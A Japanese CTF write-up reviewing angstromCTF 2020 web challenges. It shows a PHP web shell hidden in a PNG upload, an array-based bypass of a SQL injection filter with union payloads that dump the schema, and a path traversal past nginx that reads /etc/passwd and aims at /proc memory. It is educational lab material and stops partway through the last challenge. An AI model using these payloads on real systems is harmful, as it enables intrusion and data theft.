2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFのWeb分野の復習です。CTF Timesはこちら。
writeup, 戦績はこちら。
最後のUBIはwriteupが公式解法のスクリプトしか見つからず、読み解くのにめっちゃ時間がかかりましたが、とても面白かったです!(それでもheap問と比べれば気分がめっちゃ楽だった…)
[Web] Defund's Crypt
One year since defund's descent. One crypt. One void to fill. Clam must do it, and so must you.
Hint
Who says images can't identify as more than one thing? This is 2020.
問題文の意味がさっぱりわかりませんが、とりあえずリンク先に飛んでみます。
ソースを読んでみると、コメントに
<!-- Defund was a big fan of open source so head over to /src.php --> <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
こんなのがあったので、/src.php
にアクセスしてみました。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet"> <link rel="stylesheet" href="/style.css"> <title>Defund's Crypt</title> </head> <body> <!-- Defund was a big fan of open source so head over to /src.php --> <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it --> <h1>Defund's Crypt<span class="small">o</span></h1> <?php if ($_SERVER["REQUEST_METHOD"] === "POST") { // I just copy pasted this from the PHP site then modified it a bit // I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall try { if ( !isset($_FILES['imgfile']['error']) || is_array($_FILES['imgfile']['error']) ) { throw new RuntimeException('The crypt rejects you.'); } switch ($_FILES['imgfile']['error']) { case UPLOAD_ERR_OK: break; case UPLOAD_ERR_NO_FILE: throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.'); case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: throw new RuntimeException('People can only remember so much.'); default: throw new RuntimeException('The crypt rejects you.'); } if ($_FILES['imgfile']['size'] > 1000000) { throw new RuntimeException('People can only remember so much..'); } $finfo = new finfo(FILEINFO_MIME_TYPE); if (false === $ext = array_search( $finfo->file($_FILES['imgfile']['tmp_name']), array( '.jpg' => 'image/jpeg', '.png' => 'image/png', '.bmp' => 'image/bmp', ), true )) { throw new RuntimeException("Your memory isn't picturesque enough to be remembered."); } if (strpos($_FILES["imgfile"]["name"], $ext) === false) { throw new RuntimeException("The name of your memory doesn't seem to match its content."); } $bname = basename($_FILES["imgfile"]["name"]); $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, "."))); if (!move_uploaded_file( $_FILES['imgfile']['tmp_name'], "./memories/" . $fname )) { throw new RuntimeException('Your memory failed to be remembered.'); } http_response_code(301); header("Location: /memories/" . $fname); } catch (RuntimeException $e) { echo "<p>" . $e->getMessage() . "</p>"; } } ?> <img src="crypt.jpg" height="300"/> <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data"> <p>Leave a memory:</p> <input type="file" id="imgfile" name="imgfile"> <label for="imgfile" id="imglbl">Choose an image...</label> <input type="submit" value="Descend"> </form> <script> imgfile.oninput = _ => { imgfile.classList.add("satisfied"); imglbl.innerText = imgfile.files[0].name; }; </script> </body> </html>
わーい🙌!ソースがフルで落とせました。続きのコメントに書いてあるように/flag.txt
もいるらしいのですが、権限のせいか読めません。
画像をuploadできるみたい。試しに今DLしたtop画のcrypt.jpg
をアップしてみると、こんな感じでボタンのところの名前がuploadした画像のファイル名に変わりました。
そのままDescend
ボタンを押すと画像がアップロードされ、アップロードした画像が表示されます。
ファイル名に攻撃を仕込むのかな?などといろいろ検索・試行錯誤してみましたが、ここで時間切れ。
ここから復習
まず、ソースコードから以下のことがわかります。
if (false === $ext = array_search( $finfo->file($_FILES['imgfile']['tmp_name']), array( '.jpg' => 'image/jpeg', '.png' => 'image/png', '.bmp' => 'image/bmp', ), true )) { throw new RuntimeException("Your memory isn't picturesque enough to be remembered."); } if (strpos($_FILES["imgfile"]["name"], $ext) === false) { throw new RuntimeException("The name of your memory doesn't seem to match its content."); }
MIME_TYPEをチェックし、そのMIME_TYPEにあった拡張子がファイル名に含まれているか、の判定のみを行っているので、test.png.php
みたいな名前のファイルだとチェックを通ってしまいます。
$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
$_FILES['imgfile']['tmp_name'],
"./memories/" . $fname
)) {
throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);
上記から、アップされたファイルは./memories/{sha1}.{拡張子}
に格納され、リダイレクトするresponseが返ります。
皆さんのwriteupを読むと、LFI(ローカルファイルインクルード攻撃)が有効だったようです。
画像ファイルにPHPコードを埋め込む攻撃は既知の問題 – yohgaki's blog
以下の2パターンを試してみました。
- pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む
system
コマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする
1. pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む
ångstromCTF 2020 write up · kuzushikiのぺーじ
こちらを参考にさせていただきました。
適当な画像ファイルを用意します。(今回はtest.png
)
バイナリエディタで開いて、Magic以降の適当な箇所にphpコードを埋め込みます。
<?php $flag=file_get_contents('/flag.txt'); echo $flag;?>
このファイルをブラウザからuploadしDescend
ボタンを押すと、ファイルの中身が表示され、その中にflagが入っていました!
上記のwriteupでは、jpeg画像でexif箇所にコードを埋めています。きれいなので、もう少し制約がきつくても使えそうです。
2.system
コマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする
一方、システムコマンドを埋め込むと実質何でもできるようになります。
CTFtime.org / ångstromCTF 2020 / Defund's Crypt / Writeup
こちらを参考にさせていただきました。
<?php system($_GET['cmd']);?>
https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php
にアップロードされたので
https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php?cmd=cat%20/flag.txt
にアクセスすると、cat /flag.txt
が実行されて、flagが表示されました。
他、pwd
ls /
などのコマンドの結果も得られました。これも汎用性が高そう。
初めてやるタイプの問題&オーソドックスなやつっぽいので、とても勉強になった!
[Web] Woooosh
Clam's tired of people hacking his sites so he spammed obfuscation on his new game. I have a feeling that behind that wall of obfuscated javascript there's still a vulnerable site though. Can you get enough points to get the flag? I also found the backend source.
Hint
The frontend is obfuscated but maybe something else isn't?
問題文とヒントから、frontendが難読されたjavascriptで構成されているようです。ただ、frontend以外のところはまだ読めるようで、そこが脆弱だという話かなぁ?
下記のindex.js
が配布されます。
const express = require("express"); const exphbs = require("express-handlebars"); const socket = require("socket.io"); const path = require("path"); const http = require("http"); const app = express(); const serv = http.createServer(app); const io = socket.listen(serv); const port = process.env.PORT || 60600; function rand(bound) { return Math.floor(Math.random() * bound); } function genId() { const chars = "abcdefghijklmnopqrstuvwxyz0123456789"; return new Array(64).fill(0).map(v => chars[rand(chars.length)]).join``; } function genShapes() { return new Array(20).fill(0).map(v => ({ x: rand(500), y: rand(300) })); } function dist(a, b, c, d) { return Math.sqrt(Math.pow(c - a, 2), Math.pow(d - b, 2)); } app.use(express.static(path.join(__dirname, "public"))); const hbs = exphbs.create({ extname: ".hbs", helpers: {} }); app.engine("hbs", hbs.engine); app.set("view engine", "hbs"); app.set("views", path.join(__dirname, "views")); io.on("connection", client => { let game; setTimeout(function() { try { client.disconnect(); } catch (err) {} }, 1 * 60 * 1000); function endGame() { try { if (game) { if (game.score > 50) { client.emit( "disp", `Good job! You're so good at this! The flag is ${process.env.FLAG}!` ); } else { client.emit( "disp", "Wow you're terrible at this! No flag for you!" ); } game = null; } } catch (err) {} } client.on("start", function() { try { if (game) { client.emit("disp", "Game already started."); } else { game = { shapes: genShapes(), score: 0 }; game.int = setTimeout(endGame, 10000); client.emit("shapes", game.shapes); client.emit("score", 0); } } catch (err) {} }); client.on("click", function(x, y) { try { if (!game) { return; } if (typeof x != "number" || typeof y != "number") { return; } if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) { game.score++; } game.shapes = genShapes(); client.emit("shapes", game.shapes); client.emit("score", game.score); } catch (err) {} }); client.on("disconnect", function() { try { if (game) { clearTimeout(game.int); } game = null; } catch (err) {} }); }); app.get("/", function(req, res) { res.render("home"); }); serv.listen(port, function() { console.log(`Server listening on port ${port}!`); });
ゲームの獲得スコアが 50 点を超えると、下記の通りflagを表示してくれるみたいです。
`Good job! You're so good at this! The flag is ${process.env.FLAG}!`
サイトに飛んで、ゲームを開始してみると、こんなゲームが始まります。
どうやら、たくさんある赤い四角の中から、丸いやつを探してクリックするゲームのようです。所定時間内に50回押せたらクリア。人力でやってみたところ、私の最高記録は5でした。50なんて無理無理。
ソースから、バックエンド側で得点を管理しているようなので、フロントエンドの値をいくら書き換えたところで、ゲーム終了時のスコアは書き換わらない。タイムアウトの秒数も、バックエンド側にハードコーディングされているので厳しい。
CTFっぽくないけど、赤丸を認識させて座標を特定・クリック!みたいなスクリプトを書いたら行けるのかも知れない、と思ったものの、本質ではなさそうなのでこれをやる時間は割けないな、と判断。(他の問題は無理やり解法しまくったくせに😇)
ここから復習
これも、いくつか解法が出回っていました。
- frontendのコードを書き換えてプレイ
- 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成
この2つがわかりやすそう。
いずれも、frontendの難読化されたソースをある程度読み解いています。
javascriptの難読化解除、という説明が多いですが、難読化されたソースを整形して綺麗に読めるようにするオンラインツールはいくつかあります。下記はその一つ。
これにかけたあとのfrontendコード(main.js
)を確認します。気になる名前の関数が見つかります。
function drawShapes() { ctx[_0x34d7('0x9')](0x0, 0x0, 0x1f4, 0x12c); shapes['map']((_0x401a13, _0x53031c) => _0x53031c ? ctx[_0x34d7('0x17')](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) : ctx['beginPath']() + ctx[_0x34d7('0xa')](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx[_0x34d7('0x28')]() + ctx[_0x34d7('0x2f')]()); } function getCursorPosition(_0x2b237a, _0x380ec8) { var _0x127ab4 = { 'NhgpB': function (_0x3d88ae, _0x1d8777) { return _0x3d88ae - _0x1d8777; } }; const _0x17e5d8 = _0x2b237a[_0x34d7('0x2b')](); const _0x4a40e = _0x127ab4[_0x34d7('0x46')](_0x380ec8[_0x34d7('0x43')], _0x17e5d8['left']); const _0x1efa5e = _0x127ab4[_0x34d7('0x46')](_0x380ec8['clientY'], _0x17e5d8[_0x34d7('0x6c')]); return [_0x4a40e, _0x1efa5e]; }
この中のshapes
という変数に注目して、Chrome開発者ツールでwatchしてみます。
ゲームを開始して、この変数の更新ボタンを押すと、20個の座標が送られてきているのがわかります。クリックするごとに値が変わるので、円と四角の座標と見て間違いなさそうです。(※Breakpointは解除した状態で実施。赤い四角のところのボタンで解除/実施の切替可)
また、バックエンド側のソースindex.js
の下記のコードより
if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) { game.score++; }
shapes[0].x
と shapes[1].y
と、クリックされた座標 x, y
の距離を評価しているようなので、クリックする座標をshapes[0].x
とshapes[1].y
に合わせてあげると良さそう。…?うーん、普通に遊べるので、shapes[n].x
とshapes[n].y
が使われていて欲しいんだけど、frontend側からbackend側に座標を渡す時に何か変換が行われているのかな?
これを元に、上記の1,2それぞれの方法で解いてみます。
1. frontendのコードを書き換えてプレイ
実はソースの書き換えのやり方がよく分からず、他の問題でもよく諦めていました。
ångstromCTF 2020 の write-up - st98 の日記帳
st98さんのwriteupより、下記をconsoleで打つことで、関数の挙動を上書きできることがわかりました!🙌
getCursorPosition = () => [shapes[0].x, shapes[1].y];
クリックした座標ではなく、丸点の座標を返すように書き換えてしまいます。
この書き換えを行ってゲームをプレイ、1秒に1~2回ずつくらい適当な場所をクリックすると順調にスコアが加算され、23ptのところでflagが表示されました。
この方法でも、結構頑張らないと時間内にクリアできなかった。
2. 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成
おそらく、問題文・ヒントから、こちらが想定解っぽい。バックエンドのソースを元に、フロントエンドをこちらで作ってあげて動作させれば良い。
index.js
や、サイトのメッセージを見ていると、ソケット通信が使われているようです。
io.on("connection", client => {
ソケット通信、概要は知っているつもりでしたが、いざ攻撃・実装してみようとすると経験がなさすぎてスクリプト書くの諦めたところもあるので、再度概要のおさらい。
webSocket通信を知らないiOSエンジニアが知っておいて損はしない(経験談的な)軽い話
※資料の前半が大変わかりやすかった。
pythonで書く場合は、ソケット通信のpythonライブラリである、python-socketio
を使うようです。
python-socketio — python-socketio documentation
index.js
から、Client側に期待されている関数に
client.emit("disp", "Game already started."); client.emit("shapes", game.shapes); client.emit("score", game.score); client.on("start", function() { client.on("click", function(x, y) { client.on("disconnect", function() {
があることがわかります。これをこちらで作ってあげます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import socketio sio = socketio.Client() @sio.event def disp(message): print('[Disp]: ' + message) @sio.event def shapes(shapes): print('Shapes: (' + str(shapes[0]['x']) + ', ' + str(shapes[1]['y']) + ')') sio.emit('click', (int(shapes[0]['x']), int(shapes[1]['y']))) @sio.event def score(score): print('[Score]: ' + str(score)) sio.connect('https://woooosh.2020.chall.actf.co/socket.io') sio.emit('start')
実行結果
$ python solve.py Shapes: (425, 73) [Score]: 0 Shapes: (87, 132) [Score]: 1 Shapes: (40, 60) [Score]: 2 Shapes: (331, 69) [Score]: 3 Shapes: (239, 267) [Score]: 4 Shapes: (320, 106) (~中略~) [Score]: 42 Shapes: (404, 108) [Score]: 43 Shapes: (310, 2) [Score]: 44 [Disp]: Good job! You're so good at this! The flag is actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}!
こういう問題、ちゃっと解けるようになりたいなー。こちらも基礎っぽい問題だったし、jsの関数上書きやsocket通信について学べたので良かった!
[Web] A Peculiar Query
Clam thinks he's really cool and compiled a database of "criminal records" with a site to top it all off. I've dropped the tables once before but this time he took some extra security measures and I think he even hid a flag in there. Can you get it?
サイトに飛んでみると、こんな感じ。
database系の問題の様子。サイトの文にソースコードのリンクがあるので、ソースを見てみます。
const express = require("express"); const rateLimit = require("express-rate-limit"); const app = express(); const { Pool, Client } = require("pg"); const port = process.env.PORT || 9090; const path = require("path"); const client = new Client({ user: process.env.DBUSER, host: process.env.DBHOST, database: process.env.DBNAME, password: process.env.DBPASS, port: process.env.DBPORT }); async function query(q) { const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`); return ret; } app.set("view engine", "ejs"); app.use(express.static("public")); app.get("/src", (req, res) => { res.sendFile(path.join(__dirname, "index.js")); }); app.get("/", async (req, res) => { if (req.query.q) { try { let q = req.query.q; // no more table dropping for you let censored = false; for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); } } q = q.substring(0, 80); const result = await query(q); res.render("home", {results: result.rows, err: ""}); } catch (err) { console.log(err); res.status(500); res.render("home", {results: [], err: "aight wtf stop breaking things"}); } } else { res.render("home", {results: [], err: ""}); } }); app.listen(port, function() { client.connect(); console.log("App listening on port " + port); });
ここでクエリに使われているILIKE
を調べたところ、大文字小文字を区別しないLIKE検索で、Posgres SQLで使われるらしい。
PostgreSQL 9.4.5文書 9.7. パターンマッチ
現在のロケールに従って大文字小文字を区別しない一致を行うのであれば、LIKEの代わりにILIKEキーワードを使うことができます。 これは標準SQLではなく、PostgreSQLの拡張です。
ILIKE '${q}%'
なので、前方一致で調べてくれるみたい。
for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
"'-\"."
は '
, -
, "
, .
の文字。split\
`はsplit("")
と同じ意味らしい。これらの記号が1つでも入っていたら、検閲(censored
)がtrue
になり、該当の文字以降が*
に置き換わる。
例えば q = alice
だとすると、alice
に'-".
は含まれないので、q = alice
のまま。攻撃をしようと、q = ' or 1=1;--
などとすると、q = ***********
となってしまって、攻撃は成功しない。困った。
とりあえず、前方一致ってことは一文字でもあってればいいんでしょ?ということで、0-1, a-zを試してみました。
早速、aの時点でaplet123
さんがヒット。bも同様にboshua
さんがヒットします。
c: clam d: derekthesnake j: Joe, John, Jack, Jill, Jonah, Jeff k: kmh
地道に見たけど、これだけがヒット。皆 where's my million dollars
という犯罪歴です。
...あ、%
を入れたら全部見えるんだった…。同じく、_
,___
を入れても全部見える。
うーん、全員分のレコードを見てみたけど、Name, Criminal Record カラムにはflagは無いみたい。
シングルクォートの置き換えを探してこの辺の記事をさまよったり。
- No single quotes is allowed, Is this SQL Injection point still exploitable? - Information Security Stack Exchange
- Unicode Character 'APOSTROPHE' (U+0027)
SQLiのフィルタ回避としてこの辺をさまよったり
PostgresSQLの攻撃チートシートを探したり
もう一つ、80文字以内という制限があるのも気になる。とても長いクエリになるのかも知れない。
などとブツブツ言いながら色々試しましたが、競技中には解けませんでした。
ここから復習
いくつかwriteupを読んでみましたが、こういうときは 配列 を試すんだった…!過去のSQL injection問題で出会ったことがあったのに、全く思いつかなかった…!
q
が文字列であるかのチェックがないことから、配列を突っ込んでみる…と。メモメモ_φ(・_・
今回のクエリは、URLのクエリパラメータに渡されるので、a
と検索した場合のURLは
/?q=a
となります。同様に、'
を検索した場合はURLエンコードされて
/?q=%27
となります。ここに配列を食わせる方法はいくつかあるようですが、参考にさせていただいたwriteupでは
/?q=a&q=b&q=c
みたいにして配列を入れています。
/?q[]=a&q[]=b&q[]=c
でも入るみたい。配列を利用して、フィルタが回避できないか色々試してみるのが良いようなので、やってみます。
/?q=abc&q=def
を送ると、Error画面を拝むことが出来ました。
consoleを確認しても、500が返ってきています。何が起こっているか考えてみます。
for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); } } q = q.substring(0, 80);
q=['abc','def']
、q.length=2
です。
'
,-
,"
,.
と比較されるのは、abc
とdef
。一致しないので、その後の*
で置き換える処理は通りません。
その次に呼ばれるq.substring()
関数はStringオブジェクトの組み込みメソッドらしいので、q
が文字列ではなく配列の場合は、ここでエラーが発生してしまいます。
ここで落ちないためには、*
の置き換え処理を通ってq
を文字列に変換して貰う必要があります。
となると、少なくとも最後のq[i]
は'
,-
,"
,.
のどれかにし、置き換え処理を通ってもらう必要がありそう。
試しに最後に置き換え文字を入れてみるとどうなるでしょう。
/?q=abc&q=def&q=-
q = ['abc','def','-']
。まず、上記のスクリプトでi=2
の時に置き換えが走ります。(q.slice(a,b)
のq
が配列だった場合の挙動はこちらを参照。指定された区間の部分配列が返ります。)
q = abc,def*
その後ループを抜けて終了…しそうなんですが、q
が配列から文字列に変わったことにより、length
も3
から8
に変わっています。なのでi=3,4,5,6,7,7
まで回ります。
i=2
の時に、censored = true
になっているので、毎回置き換え処理が走り、最終的には
q = abc*****
となります。
では、全レコードを正常に出してくれる下記のようなクエリを流すことを考えましょう。
ILIKE 'a' or 1=1; --%';
配列の1つ目にはa' or 1=1; --
をurlエンコードした値を入れます。これは13文字。なので、i=13
以降に置き換えが走るようダミーの配列要素を入れ、13番目の配列に置き換え対象文字を入れます。
/?q=a%27+or+1%3D1%3B+--&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=-
このクエリを突っ込むと、全レコード出てきました🙌 SQL injection成功です!
でも、%
を入れただけのときと同様、出力してくれるテーブルの中にはflagはありません。他の情報を出してもらわないと。
ここで、SQL injectionのクエリをURLに変換するスクリプトを作成。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import urllib.request sqli_query = """a' or 1=1; --""" url = '/?q=' + urllib.request.quote(sqli_query) for i in range(len(sqli_query)-1): url += '&q=a' url += '&q=-' print(url)
table情報を出してくれるクエリ。
' union select table_name from information_schema.tables;--
を実施してもらいます。
めっちゃ出てきましたが、タイトルからもcriminals
tableが怪しい。
今度は、column名を見ます。table_name
がわかっているので、where table_name~
としたいのですが、クエリが長すぎて80文字を超えてしまいます。なので、Postgres SQL Injection Cheat Sheet | pentestmonkey の String Concatenation
、||
を使って、{table_name}{column_name}
を出力するようにしてもらいます。
' union select table_name||column_name from information_schema.columns;--
もしくは、素直にconcat()
関数を使っても良い。ぎり80文字。
' union select concat(table_name,column_name) from information_schema.columns;--
たくさん出てきましたが、table_name
のcriminals
で引っ掛けると、2つ引っかかりました。
nameは元々表示されている知っているやつなので、secretなカラムはcrime
。このカラムを表示させます。
' union select crime from criminals;--
学びが多くて楽しい問題だった٩(๑❛ᴗ❛๑)尸
writeupを読んでみると、server側のソースが手に入っているので、ローカルでserverを立てて挙動を確認する、というのがあった。なるほどー!実際、javascriptの関数を熟知しているか、手元で動かしながら挙動を確認していくかしないと、ググった内容を机上でなぞるだけでは問題は解くの厳しそう。
[Web] LeetTube
I developed a new video streaming service just for hackers. Learn all about viruses, IP addresses, and more on LeetTube! Here's the source code and the Dockerfile.
Note: the server is also running behind NGINX.
Hint
I wonder what's in that unpublished video...
Dockerfile.txt
とleettuve.py
が配布されます。
FROM kmh11/python3.1 COPY app /app RUN useradd -ms /bin/bash app RUN chown -R app /app USER app EXPOSE 8000 ENTRYPOINT cd /app && ./leettube.py
#!/usr/bin/env python from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse import os videos = [] for file in os.listdir('videos'): os.chmod('videos/'+file, 0o600) videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()}) published = [] for video in videos: if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename else: published.append(video) class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): try: self.path = urllib.parse.unquote(self.path) if self.path.startswith('/videos/'): file = os.path.abspath('.'+self.path) try: video = open(file, 'rb', 0) except OSError: self.send_response(404) self.end_headers() return reqrange = self.headers.get('Range', 'bytes 0-') ranges = list(int(i) for i in reqrange[6:].split('-') if i) if len(ranges) == 1: ranges.append(ranges[0]+65536) try: video.seek(ranges[0]) content = video.read(ranges[1]-ranges[0]+1) except: self.send_response(404) self.end_headers() return self.send_response(206) self.send_header('Accept-Ranges', 'bytes') self.send_header('Content-Type', 'video/mp4') self.send_header('Content-Range', 'bytes '+str(ranges[0])+'-'+str(ranges[0]+len(content)-1)+'/'+str(os.path.getsize(file))) self.end_headers() self.wfile.write(content) elif self.path == '/': self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write((""" <style> body { background-color: black; color: #00e33d; font-family: monospace; max-width: 30em; font-size: 1.5em; margin: 2em auto; } </style> <h1>LeetTube</h1> <p>There are <strong>"""+str(len(published))+"</strong> published video"+('s' if len(published) > 1 else '')+" and <strong>"+str(len(videos)-len(published))+"</strong> unpublished video"+('s' if len(videos)-len(published) > 1 else '')+".</p>"+''.join("<h2>"+video["title"]+"</h2><video controls src=\""+video["path"]+"\"></video>" for video in published)).encode('utf-8')) else: self.send_response(404) self.end_headers() except: self.send_response(500) self.end_headers() httpd = HTTPServer(('', 8000), RequestHandler) httpd.serve_forever()
サイトはこんな感じ。
この問題は全然見れなかったので1から復習。
ここから復習
ソースを見た感じ、videoのファイル名がUNPUBLISHED
から始まっているときはファイルに対する権限を剥奪し、その他の場合は公開リストに入れている。videoの置き場はvideos/{filename}
で、例えばhttps://leettube.2020.chall.actf.co/videos/Virus.mp4
にアクセスすると、1つ目のvirus動画が見れる。
サイトのトップにThere are 3 published videos and 1 unpublished video.
とあるので、このunpublished videoがflagに繋がるのかな。
if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename
ここのロジックから、非公開videoはUNPUBLISHED
から始まるファイルネームっぽい。コメントで注意されてる通り、UNPUBLISHEDFlag.mp4
みたいにファイル名を推測して突っ込んでみてもなんの権限も無いし、そもそも名前があってるかもわからないので当然ダメ。
また、
if self.path.startswith('/videos/'):
ここでトップ画面を出すか、コンテンツを返すか決めているのですが、ソース中でpathを自前パースしてしまっているので/videos/../../hogehoge
みたいな指定でも通りそう。配布されたコードとDockerfile.txt
から
app/leettube.py
のpathが存在することがわかっているので、このleettube.py
を探してみます。ブラウザバーに../
を直接打ち込んだりcurl
コマンドをオプション無しだと、../
が省略されてしまうのでcurl
コマンドで--path-as-is
オプションを付けて実行します。
$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../leettube.py' #!/usr/bin/env python from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse import os videos = [] for file in os.listdir('videos'): os.chmod('videos/'+file, 0o600) videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()}) (省略)
leettube.py
が返ってきました。
ディレクトリトラバーサルの定石、/etc/passwd
を抜いてみます。
$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../../etc/passwd' <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.14.1</center> </body> </html>
Bad Requestです。nginx的に /app/
配下へのアクセスしか許可していないので、/videos/../../
、すなわち/
にアクセスされた際にBadRequestが返ってきている、のかも知れません。(推測)
もしそうだとすると、/videos/../
までは良いけど、これ以上は遡れないことになります。これは困った。
srikavin.me こちらのwriteupでは、ここでleettube.py
で使われているBaseHTTPRequestHandler
の仕様を確認したところ、queryについての記載が仕様にないのでself.path
の中にqueryが入っていること、更にleettube.py
内でもquery stringについての処理がないことに気づいたそうです。
ということは、/videos/../?
と始めると、nginx的には/videos/../
のpathと思わせておいて、この先はクエリ、pythonコード側にはその先もpathとして扱ってもらえそう。pythonコード側ではos.path.abspath
を使っていますが、これは途中のパスが存在するしないかのチェックをせずに変換を行います。なので、/videos/../?hogehoge/../../
と指定すると、
- nginx:
/videos/../
, すなわち/app
配下なのでオッケー! - python:
/videos/../なんかしらんフォルダ/../../
すなわち/videos/../../
, すなわち/
と解釈してくれます。python側の挙動をlocalでも確認してみます。
#!/usr/bin/env python import os # 存在しないpath ?hoge を間に挟んでみる path = os.path.abspath('../?hoge/../../test_secret') print(path) with open(path, 'rb') as f: print(f.read())
$ tree . ├── test_secret └── tree1 └── tree2 └── test.py
$ cd tree1/tree2 $ python test.py /**/angstrtomctf2020/web/LeetTube/test_secret b'This is test secret file!\n'
途中に存在しない変なpathが入っていても、チェックせずに変換されるんですねー!
この性質を使って/etc/passwd
へのpathを送ってみます。
$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../etc/passwd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin app:x:1000:1000::/home/app:/bin/bash
おー、取れました!バイパス成功です!これで任意のpath,filenameが既知のファイルを取得できるようになりました。
ここでプログラムから、videoのリストはメモリ上にロードされていることがわかります。ファイルにアクセスしようとすると、unpublishedなファイルについては権限が削除されているので出来ません。この状況から、ロードされているはずのメモリを覗くという発想に至るらしい…。もしここまで出来てたとしても絶対思いつかなかったなぁ。面白い。
Linuxでは、/proc/[pid]/mem
ファイルに、プロセスと同じ方法でマップされた$pid
のメモリの内容が表示されます。
このコマンドはそのまま叩いてもダメで、オフセット情報が必要になります。詳しくは下記のQAにありました。
How do I read from/ proc/$ pid/mem under Linux?
オフセットなし(0)だと、プロセスの最初のページはマップされないため、常にI/Oエラーが発生してしまうらしい。通りで何も返ってこないわけだ。各プロセスのマップを取得するには、
/proc/[pid]/maps
を見れば良い。
address perms offset dev inode pathname 00400000-00452000 r-xp 00000000 08:02 173521 /usr/bin/dbus-daemon 00651000-00652000 r--p 00051000 08:02 173521 /usr/bin/dbus-daemon 00652000-00655000 rw-p 00052000 08:02 173521 /usr/bin/dbus-daemon 00e03000-00e24000 rw-p 00000000 00:00 0 [heap] 00e24000-011f7000 rw-p 00000000 00:00 0 [heap]
のようなフォーマットです。早速取得してみます。
